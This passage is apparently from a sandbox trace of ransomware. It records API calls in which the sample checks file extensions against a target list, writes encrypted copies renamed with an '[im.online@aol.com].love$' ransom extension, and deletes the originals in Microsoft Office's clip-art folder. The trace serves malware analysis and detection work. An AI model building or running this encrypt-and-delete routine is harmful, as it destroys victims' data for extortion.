Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0262.089] lstrlenW (lpString=".jpg") returned 4 [0262.089] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0262.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0262.089] lstrlenW (lpString=".doc") returned 4 [0262.089] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.089] lstrlenW (lpString=".docx") returned 5 [0262.090] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0262.090] lstrlenW (lpString=".pdf") returned 4 [0262.090] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.090] lstrlenW (lpString=".xls") returned 4 [0262.090] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.090] lstrlenW (lpString=".xlsx") returned 5 [0262.090] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0262.090] lstrlenW (lpString=".ppt") returned 4 [0262.090] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0262.090] lstrlenW (lpString=".zip") returned 4 [0262.090] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.090] lstrlenW (lpString=".rar") returned 4 [0262.090] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.090] lstrlenW (lpString=".bz2") returned 4 [0262.090] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.090] lstrlenW (lpString=".7z") returned 3 [0262.090] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0262.090] lstrlenW (lpString=".dbf") returned 4 [0262.090] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0262.090] lstrlenW (lpString=".1cd") returned 4 [0262.090] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0262.091] lstrlenW (lpString=".jpg") returned 4 [0262.091] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.091] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0262.091] lstrlenW (lpString="J0090027.WMF") returned 12 [0262.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0262.093] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=21268) returned 1 [0262.093] CloseHandle (hObject=0x42c) returned 1 [0262.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf")) returned 0x220 [0262.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0262.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0262.094] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.094] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0262.095] GetLastError () returned 0x0 [0262.095] ReadFile (in: hFile=0x42c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x5314, lpOverlapped=0x0) returned 1 [0262.098] WriteFile (in: hFile=0x388, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x5320, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x5320, lpOverlapped=0x0) returned 1 [0262.099] ReadFile (in: hFile=0x42c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0262.099] WriteFile (in: hFile=0x388, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0262.100] SetEndOfFile (hFile=0x388) returned 1 [0262.100] CloseHandle (hObject=0x388) returned 1 [0262.100] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.100] SetEndOfFile (hFile=0x42c) returned 1 [0262.103] CloseHandle (hObject=0x42c) returned 1 [0262.104] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0262.104] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf")) returned 1 [0262.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0262.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0262.722] lstrlenW (lpString=".doc") returned 4 [0262.722] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.722] lstrlenW (lpString=".docx") returned 5 [0262.722] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0262.722] lstrlenW (lpString=".pdf") returned 4 [0262.722] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.722] lstrlenW (lpString=".xls") returned 4 [0262.722] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.722] lstrlenW (lpString=".xlsx") returned 5 [0262.722] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0262.722] lstrlenW (lpString=".ppt") returned 4 [0262.722] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0262.722] lstrlenW (lpString=".zip") returned 4 [0262.722] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.722] lstrlenW (lpString=".rar") returned 4 [0262.722] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.722] lstrlenW (lpString=".bz2") returned 4 [0262.722] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.723] lstrlenW (lpString=".7z") returned 3 [0262.723] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0262.723] lstrlenW (lpString=".dbf") returned 4 [0262.723] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0262.723] lstrlenW (lpString=".1cd") returned 4 [0262.723] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0262.723] lstrlenW (lpString=".jpg") returned 4 [0262.723] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0262.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0262.723] lstrlenW (lpString=".doc") returned 4 [0262.723] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.723] lstrlenW (lpString=".docx") returned 5 [0262.723] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0262.723] lstrlenW (lpString=".pdf") returned 4 [0262.723] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.723] lstrlenW (lpString=".xls") returned 4 [0262.723] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.723] lstrlenW (lpString=".xlsx") returned 5 [0262.723] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0262.723] lstrlenW (lpString=".ppt") returned 4 [0262.724] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0262.724] lstrlenW (lpString=".zip") returned 4 [0262.724] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.724] lstrlenW (lpString=".rar") returned 4 [0262.724] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.724] lstrlenW (lpString=".bz2") returned 4 [0262.724] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.724] lstrlenW (lpString=".7z") returned 3 [0262.724] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0262.724] lstrlenW (lpString=".dbf") returned 4 [0262.724] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0262.724] lstrlenW (lpString=".1cd") returned 4 [0262.724] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0262.724] lstrlenW (lpString=".jpg") returned 4 [0262.724] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.724] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0262.725] lstrlenW (lpString="J0090390.WMF") returned 12 [0262.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0262.933] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=17638) returned 1 [0262.933] CloseHandle (hObject=0x534) returned 1 [0262.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf")) returned 0x220 [0263.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0263.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0263.260] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.260] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0263.263] GetLastError () returned 0x0 [0263.263] ReadFile (in: hFile=0x488, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x44e6, lpOverlapped=0x0) returned 1 [0263.496] WriteFile (in: hFile=0x580, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x44f0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x44f0, lpOverlapped=0x0) returned 1 [0263.639] ReadFile (in: hFile=0x488, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0263.639] WriteFile (in: hFile=0x580, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0263.640] SetEndOfFile (hFile=0x580) returned 1 [0263.640] CloseHandle (hObject=0x580) returned 1 [0263.640] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.640] SetEndOfFile (hFile=0x488) returned 1 [0263.644] CloseHandle (hObject=0x488) returned 1 [0263.645] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0263.645] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf")) returned 1 [0263.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0263.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0263.648] lstrlenW (lpString=".doc") returned 4 [0263.648] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.648] lstrlenW (lpString=".docx") returned 5 [0263.648] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0263.648] lstrlenW (lpString=".pdf") returned 4 [0263.648] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.648] lstrlenW (lpString=".xls") returned 4 [0263.648] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.648] lstrlenW (lpString=".xlsx") returned 5 [0263.648] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0263.648] lstrlenW (lpString=".ppt") returned 4 [0263.648] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0263.648] lstrlenW (lpString=".zip") returned 4 [0263.648] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.648] lstrlenW (lpString=".rar") returned 4 [0263.648] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.648] lstrlenW (lpString=".bz2") returned 4 [0263.648] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.648] lstrlenW (lpString=".7z") returned 3 [0263.648] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0263.649] lstrlenW (lpString=".dbf") returned 4 [0263.649] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0263.649] lstrlenW (lpString=".1cd") returned 4 [0263.649] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0263.649] lstrlenW (lpString=".jpg") returned 4 [0263.649] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0263.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0263.649] lstrlenW (lpString=".doc") returned 4 [0263.649] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.649] lstrlenW (lpString=".docx") returned 5 [0263.649] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0263.649] lstrlenW (lpString=".pdf") returned 4 [0263.649] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.649] lstrlenW (lpString=".xls") returned 4 [0263.649] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.649] lstrlenW (lpString=".xlsx") returned 5 [0263.649] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0263.650] lstrlenW (lpString=".ppt") returned 4 [0263.650] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0263.650] lstrlenW (lpString=".zip") returned 4 [0263.650] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.650] lstrlenW (lpString=".rar") returned 4 [0263.650] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.650] lstrlenW (lpString=".bz2") returned 4 [0263.650] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.650] lstrlenW (lpString=".7z") returned 3 [0263.650] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0263.650] lstrlenW (lpString=".dbf") returned 4 [0263.650] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0263.650] lstrlenW (lpString=".1cd") returned 4 [0263.650] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0263.650] lstrlenW (lpString=".jpg") returned 4 [0263.650] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.651] lstrcmpiW (lpString1=".JPG", lpString2=".love$") returned -1 [0263.651] lstrlenW (lpString="J0099148.JPG") returned 12 [0263.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0263.653] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=18258) returned 1 [0263.653] CloseHandle (hObject=0x488) returned 1 [0263.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg")) returned 0x220 [0263.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0263.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0263.654] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.654] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0263.659] GetLastError () returned 0x0 [0263.659] ReadFile (in: hFile=0x488, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x4752, lpOverlapped=0x0) returned 1 [0263.663] WriteFile (in: hFile=0x580, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x4760, lpOverlapped=0x0) returned 1 [0263.665] ReadFile (in: hFile=0x488, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0263.665] WriteFile (in: hFile=0x580, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0263.665] SetEndOfFile (hFile=0x580) returned 1 [0263.666] CloseHandle (hObject=0x580) returned 1 [0263.666] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.666] SetEndOfFile (hFile=0x488) returned 1 [0263.671] CloseHandle (hObject=0x488) returned 1 [0263.671] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0263.672] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg")) returned 1 [0263.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0263.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0263.673] lstrlenW (lpString=".doc") returned 4 [0263.673] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0263.674] lstrlenW (lpString=".docx") returned 5 [0263.674] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0263.674] lstrlenW (lpString=".pdf") returned 4 [0263.674] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0263.674] lstrlenW (lpString=".xls") returned 4 [0263.674] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0263.674] lstrlenW (lpString=".xlsx") returned 5 [0263.674] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0263.674] lstrlenW (lpString=".ppt") returned 4 [0263.674] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0263.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0264.035] lstrlenW (lpString=".zip") returned 4 [0264.036] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0264.036] lstrlenW (lpString=".rar") returned 4 [0264.036] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0264.036] lstrlenW (lpString=".bz2") returned 4 [0264.036] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0264.036] lstrlenW (lpString=".7z") returned 3 [0264.036] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0264.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0264.036] lstrlenW (lpString=".dbf") returned 4 [0264.036] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0264.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0264.036] lstrlenW (lpString=".1cd") returned 4 [0264.036] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0264.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0264.036] lstrlenW (lpString=".jpg") returned 4 [0264.036] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0264.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0264.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0264.036] lstrlenW (lpString=".doc") returned 4 [0264.036] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0264.036] lstrlenW (lpString=".docx") returned 5 [0264.037] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 